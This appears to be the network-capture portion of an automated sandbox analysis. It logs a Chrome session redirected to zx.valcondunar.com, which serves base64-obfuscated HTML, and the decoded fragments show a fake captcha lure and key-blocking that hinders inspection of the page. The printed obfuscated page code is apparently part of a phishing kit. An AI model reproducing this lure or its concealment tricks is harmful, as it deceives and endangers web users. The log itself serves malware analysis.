2024-11-25 04:58:36 UTC	355	IN	Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 3c 54 49 54 4c 45 3e 52 65 64 69 72 65 63 74 69 6e 67 3c 2f 54 49 54 4c 45 3e 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 31 3b 20 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 7a 78 2e 76 61 6c 63 6f 6e 64 75 6e 61 72 2e 63 6f 6d 2f 62 33 6b 35 34 2f 22 3e 0a 3c 2f 48 45 41 44 3e 0a 3c 42 4f 44 59 20 6f 6e 4c 6f 61 64 3d 22 6c 6f 63 61 74 69 6f 6e 2e 72 65 70 6c 61 63 65 28 27 68 74 74 70 73 3a 2f 2f 7a 78 2e 76 61 6c 63 6f 6e 64 75 6e 61 72 2e 63 6f 6d 2f 62 33 Data Ascii: <HTML><HEAD><meta http-equiv="content-type" content="text/html;charset=utf-8"><TITLE>Redirecting</TITLE><META HTTP-EQUIV="refresh" content="1; url=https://zx.valcondunar.com/b3k54/"></HEAD><BODY onLoad="location.replace('https://zx.valcondunar.com/b3

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.4	49797	172.67.195.202	443	3916	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-25 04:58:39 UTC	687	OUT	GET /b3k54/ HTTP/1.1 Host: zx.valcondunar.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: document Referer: https://www.google.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-25 04:58:40 UTC	1230	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 04:58:40 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Cache-Control: no-cache, private cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=rJOqYGWjYWf2XL9fYDgCgdkAHFou2fWBsLTDUdDsKc4aTriZ0Bvtmye%2BHVRUU7dpH4fTvPa%2BQ2QdM2tI1LJIFhmOCMDN8zVF0dx2q9TdcRYSKzl%2FIec5nE%2FFpHwEVg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=35893&sent=493&recv=129&lost=0&retrans=0&sent_bytes=663800&recv_bytes=11645&delivery_rate=3380913&cwnd=333&unsent_bytes=0&cid=55de13ff344ea0c7&ts=220291&x=0" Set-Cookie: XSRF-TOKEN=eyJpdiI6InRSS1h1SzBWN2Q2cDJRY0VCQVRPYXc9PSIsInZhbHVlIjoiZmdrYjBZVnFZd1pxQlBoL3E0OVkzUmdmU3NhR3RxNU9vdGk3UU5jOUhXUXMrNkovb3N1SjFuRHE0bkxDN2l6U1lydXkwNzBJSzB4dEhYTXRWenV6KzhmZS93a05LVnRYZ083RHFBSnJ2dFplT3dCZGNTL3MzdzdKaXdCak9NV08iLCJtYWMiOiIwYWJiNTA5ZmNjNmMzZTJhNDgzYWIzMjQ2NTQyNTQxOGIyYzE1MWJmZGIxY2I1MzNiZmE1ODIwZmUzZjZkZGEyIiwidGFnIjoiIn0%3D; expires=Mon, 25-Nov-2024 06:58:40 GMT; Max-Age=7200; path=/; secure; samesite=none
2024-11-25 04:58:40 UTC	707	IN	Data Raw: 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 6c 61 72 61 76 65 6c 5f 73 65 73 73 69 6f 6e 3d 65 79 4a 70 64 69 49 36 49 69 74 55 57 55 30 78 4e 6a 45 77 55 6b 68 73 4d 54 56 6c 64 54 45 78 56 31 68 6a 51 57 63 39 50 53 49 73 49 6e 5a 68 62 48 56 6c 49 6a 6f 69 52 48 5a 4f 56 55 78 61 5a 6d 4e 6c 57 54 68 42 65 6a 68 76 55 7a 6b 7a 56 30 70 35 63 48 68 76 4d 6a 4e 6b 55 6a 6c 7a 54 33 5a 6f 64 55 5a 4b 53 32 6b 34 54 6e 4e 56 63 44 6c 74 56 57 6c 43 57 54 63 34 63 57 4a 31 4d 44 4a 58 63 47 6c 47 57 6e 5a 30 52 6e 52 44 62 54 49 7a 4c 33 4e 6a 5a 54 6c 55 62 6b 49 7a 62 48 41 34 57 47 63 72 51 6d 6c 47 61 45 67 7a 4d 44 52 34 65 44 56 32 4e 6a 68 57 52 30 31 57 4d 6d 77 34 56 7a 6c 4b 53 48 52 79 64 47 5a 4b 4e 33 46 72 64 55 52 79 5a 31 70 6c 54 57 35 46 56 45 34 Data Ascii: Set-Cookie: laravel_session=eyJpdiI6IitUWU0xNjEwUkhsMTVldTExV1hjQWc9PSIsInZhbHVlIjoiRHZOVUxaZmNlWThBejhvUzkzV0p5cHhvMjNkUjlzT3ZodUZKS2k4TnNVcDltVWlCWTc4cWJ1MDJXcGlGWnZ0RnRDbTIzL3NjZTlUbkIzbHA4WGcrQmlGaEgzMDR4eDV2NjhWR01WMmw4VzlKSHRydGZKN3FrdURyZ1plTW5FVE4
2024-11-25 04:58:40 UTC	801	IN	Data Raw: 34 39 38 66 0d 0a 3c 73 63 72 69 70 74 3e 0d 0a 0d 0a 69 66 28 61 74 6f 62 28 22 61 48 52 30 63 48 4d 36 4c 79 39 4d 52 33 42 68 4c 6e 5a 68 62 47 4e 76 62 6d 52 31 62 6d 46 79 4c 6d 4e 76 62 53 39 69 4d 32 73 31 4e 43 38 3d 22 29 20 3d 3d 20 22 6e 6f 6d 61 74 63 68 22 29 7b 0d 0a 64 6f 63 75 6d 65 6e 74 2e 77 72 69 74 65 28 64 65 63 6f 64 65 55 52 49 43 6f 6d 70 6f 6e 65 6e 74 28 65 73 63 61 70 65 28 61 74 6f 62 28 27 50 43 46 45 54 30 4e 55 57 56 42 46 49 47 68 30 62 57 77 2b 44 51 6f 38 61 48 52 74 62 43 42 73 59 57 35 6e 50 53 4a 6c 62 69 49 2b 44 51 6f 38 61 47 56 68 5a 44 34 4e 43 69 41 67 49 43 41 38 63 32 4e 79 61 58 42 30 49 48 4e 79 59 7a 30 69 61 48 52 30 63 48 4d 36 4c 79 39 6a 62 32 52 6c 4c 6d 70 78 64 57 56 79 65 53 35 6a 62 32 30 76 61 6e Data Ascii: 498f<script>if(atob("aHR0cHM6Ly9MR3BhLnZhbGNvbmR1bmFyLmNvbS9iM2s1NC8=") == "nomatch"){document.write(decodeURIComponent(escape(atob('PCFET0NUWVBFIGh0bWw+DQo8aHRtbCBsYW5nPSJlbiI+DQo8aGVhZD4NCiAgICA8c2NyaXB0IHNyYz0iaHR0cHM6Ly9jb2RlLmpxdWVyeS5jb20van
2024-11-25 04:58:40 UTC	1369	IN	Data Raw: 4f 77 30 4b 49 43 41 67 49 48 64 70 5a 48 52 6f 4f 69 41 78 4d 44 41 6c 4f 77 30 4b 66 51 30 4b 4c 6d 4a 68 59 32 74 6e 63 6d 39 31 62 6d 51 74 59 32 39 75 64 47 46 70 62 6d 56 79 4f 6a 70 69 5a 57 5a 76 63 6d 55 67 65 77 30 4b 49 43 41 67 49 47 4e 76 62 6e 52 6c 62 6e 51 36 49 43 49 69 4f 77 30 4b 49 43 41 67 49 48 42 76 63 32 6c 30 61 57 39 75 4f 69 42 68 59 6e 4e 76 62 48 56 30 5a 54 73 4e 43 69 41 67 49 43 42 30 62 33 41 36 49 44 41 37 44 51 6f 67 49 43 41 67 62 47 56 6d 64 44 6f 67 4d 44 73 4e 43 69 41 67 49 43 42 79 61 57 64 6f 64 44 6f 67 4d 44 73 4e 43 6d 4a 76 64 48 52 76 62 54 6f 67 4d 44 73 4e 43 6d 4a 68 59 32 74 6e 63 6d 39 31 62 6d 51 74 61 57 31 68 5a 32 55 36 49 48 56 79 62 43 67 69 61 48 52 30 63 48 4d 36 4c 79 39 69 62 47 39 6e 5a 32 56 Data Ascii: Ow0KICAgIHdpZHRoOiAxMDAlOw0KfQ0KLmJhY2tncm91bmQtY29udGFpbmVyOjpiZWZvcmUgew0KICAgIGNvbnRlbnQ6ICIiOw0KICAgIHBvc2l0aW9uOiBhYnNvbHV0ZTsNCiAgICB0b3A6IDA7DQogICAgbGVmdDogMDsNCiAgICByaWdodDogMDsNCmJvdHRvbTogMDsNCmJhY2tncm91bmQtaW1hZ2U6IHVybCgiaHR0cHM6Ly9ibG9nZ2V
2024-11-25 04:58:40 UTC	1369	IN	Data Raw: 43 41 67 59 6d 39 34 4c 58 4e 6f 59 57 52 76 64 7a 6f 67 4d 48 42 34 49 44 4a 77 65 43 41 30 63 48 67 67 63 6d 64 69 59 53 67 77 4c 43 41 77 4c 43 41 77 4c 43 41 77 4c 6a 49 70 4f 77 30 4b 49 43 41 67 49 48 42 76 63 32 6c 30 61 57 39 75 4f 69 42 79 5a 57 78 68 64 47 6c 32 5a 54 73 4e 43 6e 30 4e 43 67 30 4b 4c 6d 4e 68 63 48 52 6a 61 47 45 74 59 32 68 6c 59 32 74 69 62 33 67 67 65 77 30 4b 49 43 41 67 49 47 52 70 63 33 42 73 59 58 6b 36 49 47 5a 73 5a 58 67 37 44 51 6f 67 49 43 41 67 59 57 78 70 5a 32 34 74 61 58 52 6c 62 58 4d 36 49 47 4e 6c 62 6e 52 6c 63 6a 73 4e 43 69 41 67 49 43 42 77 62 33 4e 70 64 47 6c 76 62 6a 6f 67 63 6d 56 73 59 58 52 70 64 6d 55 37 44 51 70 39 44 51 6f 4e 43 69 35 6a 59 58 42 30 59 32 68 68 4c 57 4e 6f 5a 57 4e 72 59 6d 39 34 Data Ascii: CAgYm94LXNoYWRvdzogMHB4IDJweCA0cHggcmdiYSgwLCAwLCAwLCAwLjIpOw0KICAgIHBvc2l0aW9uOiByZWxhdGl2ZTsNCn0NCg0KLmNhcHRjaGEtY2hlY2tib3ggew0KICAgIGRpc3BsYXk6IGZsZXg7DQogICAgYWxpZ24taXRlbXM6IGNlbnRlcjsNCiAgICBwb3NpdGlvbjogcmVsYXRpdmU7DQp9DQoNCi5jYXB0Y2hhLWNoZWNrYm94
2024-11-25 04:58:40 UTC	1369	IN	Data Raw: 42 69 62 33 4a 6b 5a 58 49 36 4e 6e 42 34 49 48 4e 76 62 47 6c 6b 49 43 4d 30 5a 44 6b 77 5a 6d 55 37 44 51 6f 67 59 6d 39 79 5a 47 56 79 4c 58 4a 68 5a 47 6c 31 63 7a 6f 7a 4e 6e 42 34 4f 77 30 4b 49 47 4a 76 63 6d 52 6c 63 69 31 69 62 33 52 30 62 32 30 74 59 32 39 73 62 33 49 36 64 48 4a 68 62 6e 4e 77 59 58 4a 6c 62 6e 51 37 44 51 6f 67 59 6d 39 79 5a 47 56 79 4c 58 4a 70 5a 32 68 30 4c 57 4e 76 62 47 39 79 4f 6e 52 79 59 57 35 7a 63 47 46 79 5a 57 35 30 4f 77 30 4b 49 47 68 6c 61 57 64 6f 64 44 6f 7a 4e 6e 42 34 4f 77 30 4b 49 47 39 31 64 47 78 70 62 6d 55 36 4d 44 73 4e 43 69 42 77 62 33 4e 70 64 47 6c 76 62 6a 70 68 59 6e 4e 76 62 48 56 30 5a 54 73 4e 43 69 42 79 61 57 64 6f 64 44 6f 67 4d 6a 49 31 63 48 67 37 44 51 6f 67 64 32 6c 6b 64 47 67 36 4d Data Ascii: Bib3JkZXI6NnB4IHNvbGlkICM0ZDkwZmU7DQogYm9yZGVyLXJhZGl1czozNnB4Ow0KIGJvcmRlci1ib3R0b20tY29sb3I6dHJhbnNwYXJlbnQ7DQogYm9yZGVyLXJpZ2h0LWNvbG9yOnRyYW5zcGFyZW50Ow0KIGhlaWdodDozNnB4Ow0KIG91dGxpbmU6MDsNCiBwb3NpdGlvbjphYnNvbHV0ZTsNCiByaWdodDogMjI1cHg7DQogd2lkdGg6M
2024-11-25 04:58:40 UTC	1369	IN	Data Raw: 4b 49 43 41 67 49 43 41 67 49 43 42 6d 62 47 56 34 4c 57 52 70 63 6d 56 6a 64 47 6c 76 62 6a 6f 67 59 32 39 73 64 57 31 75 4f 77 30 4b 49 43 41 67 49 43 41 67 49 43 42 71 64 58 4e 30 61 57 5a 35 4c 57 4e 76 62 6e 52 6c 62 6e 51 36 49 47 5a 73 5a 58 67 74 5a 57 35 6b 4f 77 30 4b 49 43 41 67 49 43 41 67 49 43 42 6f 5a 57 6c 6e 61 48 51 36 49 44 51 77 4d 48 42 34 4f 79 41 4e 43 69 41 67 49 43 42 39 44 51 6f 6a 59 32 46 77 64 47 4e 6f 59 57 46 75 64 33 4e 6c 63 6d 56 79 63 69 42 37 44 51 70 6b 61 58 4e 77 62 47 46 35 4f 69 42 75 62 32 35 6c 4f 77 30 4b 5a 6d 39 75 64 43 31 6d 59 57 31 70 62 48 6b 36 49 48 4e 35 63 33 52 6c 62 53 31 31 61 54 73 4e 43 6d 4e 76 62 47 39 79 4f 69 42 79 5a 57 51 37 44 51 70 6d 62 32 35 30 4c 58 64 6c 61 57 64 6f 64 44 6f 67 59 6d Data Ascii: KICAgICAgICBmbGV4LWRpcmVjdGlvbjogY29sdW1uOw0KICAgICAgICBqdXN0aWZ5LWNvbnRlbnQ6IGZsZXgtZW5kOw0KICAgICAgICBoZWlnaHQ6IDQwMHB4OyANCiAgICB9DQojY2FwdGNoYWFud3NlcmVyciB7DQpkaXNwbGF5OiBub25lOw0KZm9udC1mYW1pbHk6IHN5c3RlbS11aTsNCmNvbG9yOiByZWQ7DQpmb250LXdlaWdodDogYm
2024-11-25 04:58:40 UTC	1369	IN	Data Raw: 4a 69 42 6c 64 6d 56 75 64 43 35 68 62 48 52 4c 5a 58 6b 67 4a 69 59 67 5a 58 5a 6c 62 6e 51 75 61 32 56 35 51 32 39 6b 5a 53 41 39 50 54 30 67 4e 7a 4d 70 49 48 78 38 44 51 6f 67 49 43 41 67 49 43 41 67 49 43 68 6c 64 6d 56 75 64 43 35 74 5a 58 52 68 53 32 56 35 49 43 59 6d 49 47 56 32 5a 57 35 30 4c 6d 46 73 64 45 74 6c 65 53 41 6d 4a 69 42 6c 64 6d 56 75 64 43 35 72 5a 58 6c 44 62 32 52 6c 49 44 30 39 50 53 41 32 4e 79 6b 67 66 48 77 4e 43 69 41 67 49 43 41 67 49 43 41 67 4b 47 56 32 5a 57 35 30 4c 6d 31 6c 64 47 46 4c 5a 58 6b 67 4a 69 59 67 5a 58 5a 6c 62 6e 51 75 61 32 56 35 51 32 39 6b 5a 53 41 39 50 54 30 67 4f 44 55 70 44 51 6f 67 49 43 41 67 4b 53 42 37 44 51 6f 67 49 43 41 67 49 43 41 67 49 47 56 32 5a 57 35 30 4c 6e 42 79 5a 58 5a 6c 62 6e 52 Data Ascii: JiBldmVudC5hbHRLZXkgJiYgZXZlbnQua2V5Q29kZSA9PT0gNzMpIHx8DQogICAgICAgIChldmVudC5tZXRhS2V5ICYmIGV2ZW50LmFsdEtleSAmJiBldmVudC5rZXlDb2RlID09PSA2NykgfHwNCiAgICAgICAgKGV2ZW50Lm1ldGFLZXkgJiYgZXZlbnQua2V5Q29kZSA9PT0gODUpDQogICAgKSB7DQogICAgICAgIGV2ZW50LnByZXZlbnR
2024-11-25 04:58:40 UTC	1369	IN	Data Raw: 55 4e 6f 5a 57 4e 72 59 6d 39 34 49 6a 34 4e 43 69 41 67 49 43 41 67 49 43 41 67 49 43 41 67 49 43 41 67 49 43 41 38 63 33 42 68 62 69 42 6a 62 47 46 7a 63 7a 30 69 59 32 46 77 64 47 4e 6f 59 53 31 6a 61 47 56 6a 61 32 31 68 63 6d 73 69 50 6a 77 76 63 33 42 68 62 6a 34 4e 43 69 41 67 49 43 41 67 49 43 41 67 49 43 41 67 49 43 41 67 49 43 41 38 63 33 42 68 62 69 42 6a 62 47 46 7a 63 7a 30 69 59 32 46 77 64 47 4e 6f 59 53 31 30 5a 58 68 30 49 6a 35 4a 49 47 46 74 49 47 35 76 64 43 42 68 49 48 4a 76 59 6d 39 30 4a 6d 35 69 63 33 41 37 4a 6d 35 69 63 33 41 37 4a 6d 35 69 63 33 41 37 4a 6d 35 69 63 33 41 37 4a 6d 35 69 63 33 41 37 4a 6d 35 69 63 33 41 37 4a 6d 35 69 63 33 41 37 4a 6d 35 69 63 33 41 37 4a 6d 35 69 63 33 41 37 4a 6d 35 69 63 33 41 37 4a 6d 35 69 Data Ascii: UNoZWNrYm94Ij4NCiAgICAgICAgICAgICAgICA8c3BhbiBjbGFzcz0iY2FwdGNoYS1jaGVja21hcmsiPjwvc3Bhbj4NCiAgICAgICAgICAgICAgICA8c3BhbiBjbGFzcz0iY2FwdGNoYS10ZXh0Ij5JIGFtIG5vdCBhIHJvYm90Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5i
2024-11-25 04:58:40 UTC	1369	IN	Data Raw: 5a 78 4f 45 4a 50 62 45 52 4f 52 55 74 47 4f 43 39 31 4f 45 4a 46 52 30 59 35 52 55 74 47 4f 57 56 34 52 45 35 50 63 45 52 4f 55 48 45 33 51 6b 52 50 62 56 56 71 56 32 70 61 4c 33 6b 34 51 6d 5a 31 4e 30 4a 6d 4b 7a 64 42 64 6e 55 33 51 54 42 48 52 54 67 77 52 30 55 35 54 33 52 43 54 6c 42 31 4e 30 4a 6d 63 54 68 43 52 55 64 47 4f 55 52 50 62 31 56 32 62 54 64 43 5a 6e 45 33 51 6b 4d 32 61 56 68 51 63 54 68 43 55 48 55 33 51 54 42 48 52 54 67 76 63 54 64 43 52 55 74 49 4f 56 56 48 52 6a 6c 6d 4b 7a 68 44 55 47 30 33 51 6d 5a 31 4f 45 45 76 64 54 64 43 5a 69 73 32 51 56 42 74 4e 30 4a 6d 64 54 68 43 56 55 64 47 4f 43 39 31 4f 45 45 76 4b 7a 68 42 55 48 55 33 51 6d 5a 31 4f 45 4a 6c 4d 57 4e 4c 61 6d 46 6e 5a 48 56 4c 4e 6b 51 7a 61 58 5a 4f 64 6c 49 76 52 Data Ascii: ZxOEJPbERORUtGOC91OEJFR0Y5RUtGOWV4RE5PcEROUHE3QkRPbVVqV2paL3k4QmZ1N0JmKzdBdnU3QTBHRTgwR0U5T3RCTlB1N0JmcThCRUdGOURPb1V2bTdCZnE3QkM2aVhQcThCUHU3QTBHRTgvcTdCRUtIOVVHRjlmKzhDUG03QmZ1OEEvdTdCZis2QVBtN0JmdThCVUdGOC91OEEvKzhBUHU3QmZ1OEJlMWNLamFnZHVLNkQzaXZOdlIvR
2024-11-25 04:58:40 UTC	1369	IN	Data Raw: 50 63 6e 45 35 63 58 67 32 62 6c 6c 53 57 45 38 78 52 33 45 31 64 48 67 78 61 48 42 31 55 6a 64 6b 54 55 70 75 51 30 74 42 64 6c 59 34 4e 6a 4e 4a 5a 55 4e 35 56 31 4a 6e 55 48 41 30 56 44 51 7a 63 31 52 75 51 31 4e 54 53 45 56 49 61 46 6f 33 53 6a 68 6d 53 30 4a 73 65 58 6c 50 55 7a 68 57 55 57 64 52 4c 33 64 30 5a 6d 70 53 61 48 6c 35 59 33 64 58 4f 45 6c 7a 57 47 77 7a 4c 32 35 4c 65 57 30 76 55 56 6c 4b 55 30 39 4a 64 44 67 7a 62 6e 46 58 51 7a 68 56 64 57 64 34 54 45 39 54 56 7a 68 51 64 45 5a 71 53 56 5a 45 62 6d 74 4f 64 32 70 70 52 31 4a 30 52 55 52 6a 5a 56 4e 50 62 48 51 7a 57 6d 52 78 5a 31 4e 35 56 47 4e 45 5a 54 68 74 54 58 68 70 54 30 64 4f 55 6c 6f 34 64 7a 56 53 4e 58 56 57 62 54 42 58 62 45 52 45 5a 6e 4a 48 4f 57 74 50 57 45 64 54 63 7a Data Ascii: PcnE5cXg2bllSWE8xR3E1dHgxaHB1UjdkTUpuQ0tBdlY4NjNJZUN5V1JnUHA0VDQzc1RuQ1NTSEVIaFo3SjhmS0JseXlPUzhWUWdRL3d0ZmpSaHl5Y3dXOElzWGwzL25LeW0vUVlKU09JdDgzbnFXQzhVdWd4TE9TVzhQdEZqSVZEbmtOd2ppR1J0RURjZVNPbHQzWmRxZ1N5VGNEZThtTXhpT0dOUlo4dzVSNXVWbTBXbEREZnJHOWtPWEdTcz

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.4	49799	151.101.194.137	443	3916	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-25 04:58:42 UTC	624	OUT	GET /jquery-3.6.0.min.js HTTP/1.1 Host: code.jquery.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning" sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://zx.valcondunar.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-25 04:58:42 UTC	613	IN	HTTP/1.1 200 OK Connection: close Content-Length: 89501 Server: nginx Content-Type: application/javascript; charset=utf-8 Last-Modified: Fri, 18 Oct 1991 12:00:00 GMT ETag: "28feccc0-15d9d" Cache-Control: public, max-age=31536000, stale-while-revalidate=604800 Access-Control-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin Via: 1.1 varnish, 1.1 varnish Accept-Ranges: bytes Age: 2492797 Date: Mon, 25 Nov 2024 04:58:42 GMT X-Served-By: cache-lga21931-LGA, cache-ewr-kewr1740074-EWR X-Cache: HIT, HIT X-Cache-Hits: 5889, 0 X-Timer: S1732510722.431175,VS0,VE1 Vary: Accept-Encoding
2024-11-25 04:58:42 UTC	1378	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 76 33 2e 36 2e 30 20 7c 20 28 63 29 20 4f 70 65 6e 4a 53 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 6f 74 68 65 72 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 20 7c 20 6a 71 75 65 72 79 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 20 2a 2f 0a 21 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 26 26 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 65 2e 64 6f 63 75 6d 65 6e 74 3f 74 28 65 2c 21 30 29 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 69 66 28 21 65 2e 64 6f 63 75 6d 65 6e 74 29 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 22 6a 51 75 Data Ascii: /! jQuery v3.6.0 \| (c) OpenJS Foundation and other contributors \| jquery.org/license /!function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQu
2024-11-25 04:58:42 UTC	1378	IN	Data Raw: 7d 2c 67 65 74 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 6e 75 6c 6c 3d 3d 65 3f 73 2e 63 61 6c 6c 28 74 68 69 73 29 3a 65 3c 30 3f 74 68 69 73 5b 65 2b 74 68 69 73 2e 6c 65 6e 67 74 68 5d 3a 74 68 69 73 5b 65 5d 7d 2c 70 75 73 68 53 74 61 63 6b 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 53 2e 6d 65 72 67 65 28 74 68 69 73 2e 63 6f 6e 73 74 72 75 63 74 6f 72 28 29 2c 65 29 3b 72 65 74 75 72 6e 20 74 2e 70 72 65 76 4f 62 6a 65 63 74 3d 74 68 69 73 2c 74 7d 2c 65 61 63 68 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 53 2e 65 61 63 68 28 74 68 69 73 2c 65 29 7d 2c 6d 61 70 3a 66 75 6e 63 74 69 6f 6e 28 6e 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 70 75 73 68 53 74 61 63 6b 28 53 2e 6d 61 70 28 74 68 69 73 2c 66 Data Ascii: },get:function(e){return null==e?s.call(this):e<0?this[e+this.length]:this[e]},pushStack:function(e){var t=S.merge(this.constructor(),e);return t.prevObject=this,t},each:function(e){return S.each(this,e)},map:function(n){return this.pushStack(S.map(this,f
2024-11-25 04:58:42 UTC	1378	IN	Data Raw: 6f 6e 28 65 29 7b 76 61 72 20 74 2c 6e 3b 72 65 74 75 72 6e 21 28 21 65 7c 7c 22 5b 6f 62 6a 65 63 74 20 4f 62 6a 65 63 74 5d 22 21 3d 3d 6f 2e 63 61 6c 6c 28 65 29 29 26 26 28 21 28 74 3d 72 28 65 29 29 7c 7c 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 28 6e 3d 76 2e 63 61 6c 6c 28 74 2c 22 63 6f 6e 73 74 72 75 63 74 6f 72 22 29 26 26 74 2e 63 6f 6e 73 74 72 75 63 74 6f 72 29 26 26 61 2e 63 61 6c 6c 28 6e 29 3d 3d 3d 6c 29 7d 2c 69 73 45 6d 70 74 79 4f 62 6a 65 63 74 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3b 66 6f 72 28 74 20 69 6e 20 65 29 72 65 74 75 72 6e 21 31 3b 72 65 74 75 72 6e 21 30 7d 2c 67 6c 6f 62 61 6c 45 76 61 6c 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 29 7b 62 28 65 2c 7b 6e 6f 6e 63 65 3a 74 26 26 74 2e 6e 6f Data Ascii: on(e){var t,n;return!(!e\|\|"[object Object]"!==o.call(e))&&(!(t=r(e))\|\|"function"==typeof(n=v.call(t,"constructor")&&t.constructor)&&a.call(n)===l)},isEmptyObject:function(e){var t;for(t in e)return!1;return!0},globalEval:function(e,t,n){b(e,{nonce:t&&t.no
2024-11-25 04:58:42 UTC	1378	IN	Data Raw: 5d 2c 71 3d 74 2e 70 6f 70 2c 4c 3d 74 2e 70 75 73 68 2c 48 3d 74 2e 70 75 73 68 2c 4f 3d 74 2e 73 6c 69 63 65 2c 50 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 66 6f 72 28 76 61 72 20 6e 3d 30 2c 72 3d 65 2e 6c 65 6e 67 74 68 3b 6e 3c 72 3b 6e 2b 2b 29 69 66 28 65 5b 6e 5d 3d 3d 3d 74 29 72 65 74 75 72 6e 20 6e 3b 72 65 74 75 72 6e 2d 31 7d 2c 52 3d 22 63 68 65 63 6b 65 64 7c 73 65 6c 65 63 74 65 64 7c 61 73 79 6e 63 7c 61 75 74 6f 66 6f 63 75 73 7c 61 75 74 6f 70 6c 61 79 7c 63 6f 6e 74 72 6f 6c 73 7c 64 65 66 65 72 7c 64 69 73 61 62 6c 65 64 7c 68 69 64 64 65 6e 7c 69 73 6d 61 70 7c 6c 6f 6f 70 7c 6d 75 6c 74 69 70 6c 65 7c 6f 70 65 6e 7c 72 65 61 64 6f 6e 6c 79 7c 72 65 71 75 69 72 65 64 7c 73 63 6f 70 65 64 22 2c 4d 3d 22 5b 5c 5c 78 32 30 5c 5c 74 Data Ascii: ],q=t.pop,L=t.push,H=t.push,O=t.slice,P=function(e,t){for(var n=0,r=e.length;n<r;n++)if(e[n]===t)return n;return-1},R="checked\|selected\|async\|autofocus\|autoplay\|controls\|defer\|disabled\|hidden\|ismap\|loop\|multiple\|open\|readonly\|required\|scoped",M="[\\x20\\t
